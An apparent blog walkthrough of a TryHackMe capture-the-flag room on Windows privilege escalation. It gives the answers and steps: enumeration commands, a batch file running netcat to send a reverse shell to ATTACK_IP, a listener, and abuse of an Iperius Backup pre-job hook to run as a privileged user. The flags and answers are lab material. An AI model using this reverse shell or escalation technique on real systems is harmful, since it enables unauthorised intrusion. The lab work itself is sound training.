TryHackMe: [Day 13] Networking They Lost The Plan!

Mac Leo
3 min readApr 15, 2022

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  1. Complete the username: p…..

ANS: pepper

EXPLANATION:

Step 1: net users

2. What is the OS version?

ANS: 10.0.17763 N/A Build 17763

EXPLANATION:

Step 1: systeminfo | findstr /B /C:“OS Name” /C:“OS Version”

3. What backup service did you find running on the system?

ANS: IperiusSvc

EXPLANATION:

Step 1: wmic service list

4. What is the path of the executable for the backup service you have identified?

ANS: C:\Program Files (x86)\Iperius Backup\IperiusService.exe

EXPLANATION:

5. Run the whoami command on the connection you have received on your attacking machine. What user do you have?

ANS: the-grinch-hack\thegrinch

EXPLANATION:

Step 1:

@echo off

C:\Users\McSkidy\Downloads\nc.exe ATTACK_IP 1337 -e cmd.exe

and save as test.bat

Step 2: Open Iperius Backup.exe

Step 3: Setup listener on attacking machine
nc -nlvvp 443

Step 4: pen Iperius Backup and create new backup job
— set any folder to backup (c:\temp)
— set to any destination (c:\users\low\desktop)
— set program to run before backup job (c:\users\low\desktop\test.bat)

Step 5: Right-click on newly created job and select “Run backup service as the-grinch-hack\thegrinch

Step 6: Command prompt on attacking machine will appear
C:\Program Files (x86)\Iperius Backup>whoami
whoami

6. What is the content of the flag.txt file?

ANS: THM-736635221

EXPLANATION:

Step 1: Once we gain access, type cd ../../../

Step 2: dir

Step 3: cd Users

Step 4: dir

Step 5: cd thegrinch

Step 6: dir

Step 7: cd Documents

Step 8: type flag.txt

7. The Grinch forgot to delete a file where he kept notes about his schedule! Where can we find him at 5:30?

ANS: jazzercize

EXPLANATION:

Step 1: type Schedule.txt

*****************THANK YOU****KEEP LEARNING ******************

HOPE YOU GUYS, THIS WALKTHROUGH MIGHT HELP YOU,IF SO LIKE THE PAGE WILL BE MUCH APPRECIATED AND FOLLOW MY PROFILE FOR MORE WRITE-UPS

*******PEACE*****

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Mac Leo

Hacker |Cybersecurity Researcher | CTF Player |Cybersecurity Enthusiast